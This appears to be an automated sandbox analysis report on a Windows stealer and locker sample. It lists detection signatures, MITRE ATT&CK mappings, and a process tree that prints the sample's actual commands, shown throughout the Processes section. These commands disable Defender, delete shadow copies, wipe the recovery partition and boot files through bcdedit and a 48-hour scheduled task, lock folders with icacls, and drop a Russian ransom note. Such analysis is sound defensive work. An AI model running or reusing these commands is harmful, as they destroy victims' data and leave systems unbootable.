Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
09/08/2026, 18:52
General
- Target 2026-08-09_068b0862821a95f9d1a079cf7cb8ad59_cryptbot_icedid_luca-stealer_njrat_stealc.exe
- Size 8.8MB
- Sample260809-xjb7katfpg
- SHA256 a68f41c4a160277f6cb36b99f0c528a9bb85bec4e3c2c7d12888f3c3ddbbbd08
Score
10/10
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Detect SalatStealer payload 14 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 14 IoCs
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 14 IoCs
- Detects command variations typically used by ransomware 1 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 14 IoCs
- Modifies boot configuration data using bcdedit 1 TTPs 13 IoCs
- UPX dump on OEP (original entry point) 19 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Using powershell.exe command.
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Disables one or more Microsoft Defender components 1 TTPs 3 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Disables service(s) 3 TTPs
- Executes dropped EXE 5 IoCs
- Modifies file permissions 1 TTPs 9 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 10 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Drops file in System32 directory 2 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 8 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- UPX packed file 19 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 4 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 2 IoCs
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 1 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 59 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-09_068b0862821a95f9d1a079cf7cb8ad59_cryptbot_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-09_068b0862821a95f9d1a079cf7cb8ad59_cryptbot_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" invisible.vbs runbat start.bat2⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\start.bat" "3⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650014⤵
-
-
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\KapibaraEncryptor.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\timeout.exetimeout /t 3 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Desktop" /deny Everyone:(OI)(CI)(RX)4⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Documents" /deny Everyone:(OI)(CI)(RX)4⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Downloads" /deny Everyone:(OI)(CI)(RX)4⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Pictures" /deny Everyone:(OI)(CI)(RX)4⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Music" /deny Everyone:(OI)(CI)(RX)4⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Videos" /deny Everyone:(OI)(CI)(RX)4⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files" /deny Everyone:(OI)(CI)(RX)4⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)" /deny Everyone:(OI)(CI)(RX)4⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData" /deny Everyone:(OI)(CI)(RX)4⤵
- Modifies file permissions
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {bootmgr} displaybootmenu No4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {bootmgr} timeout 04⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} safeboot4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {globalsettings} advancedoptions false4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {globalsettings} bootuxdisabled Yes4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {globalsettings} optionsedit No4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableAdvancedStartup /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /enum firmware | findstr /i "recoverysequence"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /enum firmware5⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\findstr.exefindstr /i "recoverysequence"5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$part = Get-Partition | Where-Object { $_.Type -eq 'Recovery' }; if ($part) { Add-PartitionAccessPath -DiskNumber $part.DiskNumber -PartitionNumber $part.PartitionNumber -AccessPath 'R:' -ErrorAction SilentlyContinue; Remove-Item -Path 'R:\*' -Recurse -Force -ErrorAction SilentlyContinue; Remove-PartitionAccessPath -DiskNumber $part.DiskNumber -PartitionNumber $part.PartitionNumber -AccessPath 'R:' -ErrorAction SilentlyContinue }"4⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {globalsettings} bootmenupolicy Legacy4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {fwbootmgr} displaybootmenu No4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {fwbootmgr} timeout 04⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableBootMenu /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableBootingFromExternalMedia /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableUEFI /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc config VSS start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop VSS4⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /enum firmware | findstr "identifier"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /enum firmware5⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\findstr.exefindstr "identifier"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo bootmgr "4⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "fwbootmgr bootmgr"4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\cdrom" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
- Disables RegEdit via registry modification
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\manage-bde.exemanage-bde -status C:4⤵
-
-
C:\Windows\system32\findstr.exefindstr "Protection On"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-Date -Format 'yyyy-MM-dd HH:mm:ss' | Out-File -FilePath 'C:\kapibara_start.txt' -Encoding ASCII"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$start = Get-Date (Get-Content C:\kapibara_start.txt); if (((Get-Date) - $start).TotalHours -ge 48) { takeown /f C:\Windows\Boot\EFI\bootmgfw.efi; icacls C:\Windows\Boot\EFI\bootmgfw.efi /grant *S-1-1-0:F; del C:\Windows\Boot\EFI\bootmgfw.efi -Force; bcdedit /createstore C:\empty.bcd; bcdedit /import C:\empty.bcd /clean; Remove-Item C:\kapibara_start.txt -Force; shutdown /r /t 5 }\"'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; Register-ScheduledTask -TaskName 'KapibaraTimerCheck' -Action $action -Trigger $trigger -Principal $principal -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\application1.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\application1.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Google\csrss.exe"C:\Program Files (x86)\Google\csrss.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\csrss.exe"C:\Program Files (x86)\Microsoft\Edge\Application\csrss.exe" -6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files\Google\Chrome\Application\csrss.exe"C:\Program Files\Google\Chrome\Application\csrss.exe" -6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "$code = '[DllImport(\"user32.dll\", CharSet=CharSet.Auto)] public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);'; Add-Type -MemberDefinition $code -Name 'Wallpaper' -Namespace 'WinAPI'; [WinAPI.Wallpaper]::SystemParametersInfo(20, 0, 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\wallpaper.png', 3)"4⤵
- Command and Scripting Interpreter: PowerShell
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zp2ms4sw\zp2ms4sw.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7143.tmp" "c:\Users\Admin\AppData\Local\Temp\zp2ms4sw\CSCAFE6D91054DD4060A5EBDFE67321115.TMP"6⤵
-
-
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play1 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music1.mp3"4⤵
- Enumerates connected drives
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\system32\mshta.exemshta "javascript:alert('Привет от зомбе тим!');close();"4⤵
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\minify.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\application2.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\application2.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt5⤵
- Hide Artifacts: Hidden Files and Directories
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt5⤵
- Hide Artifacts: Hidden Files and Directories
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt5⤵
- Hide Artifacts: Hidden Files and Directories
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt5⤵
- Hide Artifacts: Hidden Files and Directories
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt5⤵
- Hide Artifacts: Hidden Files and Directories
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Упс! Вы подверглись масштабной хакерской атаке ZOMBIE TEAM и теперь Ваш компьютер заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской группировкой. Любые действия, связанные с попыткой обмануть систему, нанесут непоправимый вред Вашему компьютеру и приведут к потере всех важных файлов без возможности восстановления. При попытке снять блокировку MBR (главный загрузчик материнской платы) будет снесён и будет подана рекурсивная нагрузка на ваш процессор, что приведёт к его неисправности. У вас есть 48 часов с момента запуска чтобы ввести код, что бы получить код, напиши 1>info-Locker.txt & attrib -h +s +r info-Locker.txt5⤵
- Hide Artifacts: Hidden Files and Directories
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill.exe /im Explorer.exe /f5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music2.mp3"4⤵
- Enumerates connected drives
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music3.mp3"4⤵
- Enumerates connected drives
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music2.mp3"4⤵
- Enumerates connected drives
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music3.mp3"4⤵
- Enumerates connected drives
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\invisible.vbs" play2 "C:\Users\Admin\AppData\Local\Temp\RarSFX0\music2.mp3"4⤵
- Enumerates connected drives
- Executes a VBScript file via the Windows Script Host.
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
1Hide Artifacts
2Hidden Files and Directories
1Ignore Process Interrupts
1Impair Defenses
4Disable or Modify Tools
3Indicator Removal
3File Deletion
3Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
CurrentDatabase_400.wmdb
CurrentDatabase_400.wmdb
WMSDKNS.XML.bak
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
RES7143.tmp
application1.exe
application2.exe
invisible.vbs
music1.mp3
music2.mp3
music3.mp3
start.bat
__PSScriptPolicyTest_lgg4krxe.z2w.ps1
minify.vbs
zp2ms4sw.dll
CSCAFE6D91054DD4060A5EBDFE67321115.TMP
zp2ms4sw.0.cs
zp2ms4sw.cmdline
memory/1688-188-0x0000000000CB0000-0x0000000001904000-memory.dmp
memory/1688-192-0x0000000000CB0000-0x0000000001904000-memory.dmp
memory/1808-55-0x0000020B730C0000-0x0000020B7322A000-memory.dmp
memory/2444-141-0x0000000000F90000-0x0000000000FCC000-memory.dmp
memory/2724-149-0x0000000000B70000-0x00000000017C4000-memory.dmp
memory/2724-150-0x0000000000B70000-0x00000000017C4000-memory.dmp
memory/2724-148-0x0000000000B70000-0x00000000017C4000-memory.dmp
memory/2724-102-0x0000000000B70000-0x00000000017C4000-memory.dmp
memory/2724-179-0x0000000000B70000-0x00000000017C4000-memory.dmp
memory/2900-180-0x0000000000E30000-0x0000000001A84000-memory.dmp
memory/2900-181-0x0000000000E30000-0x0000000001A84000-memory.dmp
memory/2900-182-0x0000000000E30000-0x0000000001A84000-memory.dmp
memory/2900-241-0x0000000000E30000-0x0000000001A84000-memory.dmp
memory/2900-240-0x0000000000E30000-0x0000000001A84000-memory.dmp
memory/2900-239-0x0000000000E30000-0x0000000001A84000-memory.dmp
memory/2900-238-0x0000000000E30000-0x0000000001A84000-memory.dmp
memory/2900-178-0x0000000000E30000-0x0000000001A84000-memory.dmp
memory/2900-210-0x0000000000E30000-0x0000000001A84000-memory.dmp
memory/3972-33-0x0000011AC2D10000-0x0000011AC2D32000-memory.dmp
memory/4412-123-0x00000263AAEC0000-0x00000263AAEC8000-memory.dmp
memory/4472-209-0x0000000000A60000-0x00000000016B4000-memory.dmp
memory/4472-212-0x0000000000A60000-0x00000000016B4000-memory.dmp
memory/4520-216-0x00000000077E0000-0x00000000077FA000-memory.dmp
memory/4520-227-0x0000000007C70000-0x0000000007C8E000-memory.dmp
memory/4520-203-0x00000000066C0000-0x00000000066DE000-memory.dmp
memory/4520-202-0x0000000006060000-0x00000000063B4000-memory.dmp
memory/4520-213-0x0000000006BA0000-0x0000000006BE4000-memory.dmp
memory/4520-214-0x0000000007740000-0x00000000077B6000-memory.dmp
memory/4520-193-0x0000000005EC0000-0x0000000005F26000-memory.dmp
memory/4520-215-0x0000000007E40000-0x00000000084BA000-memory.dmp
memory/4520-218-0x00000000702F0000-0x000000007033C000-memory.dmp
memory/4520-217-0x0000000007C30000-0x0000000007C62000-memory.dmp
memory/4520-219-0x0000000070BF0000-0x0000000070F44000-memory.dmp
memory/4520-204-0x00000000068C0000-0x000000000690C000-memory.dmp
memory/4520-228-0x0000000007C90000-0x0000000007D33000-memory.dmp
memory/4520-229-0x0000000007D90000-0x0000000007D9A000-memory.dmp
memory/4520-230-0x0000000008580000-0x0000000008616000-memory.dmp
memory/4520-231-0x0000000007DC0000-0x0000000007DD1000-memory.dmp
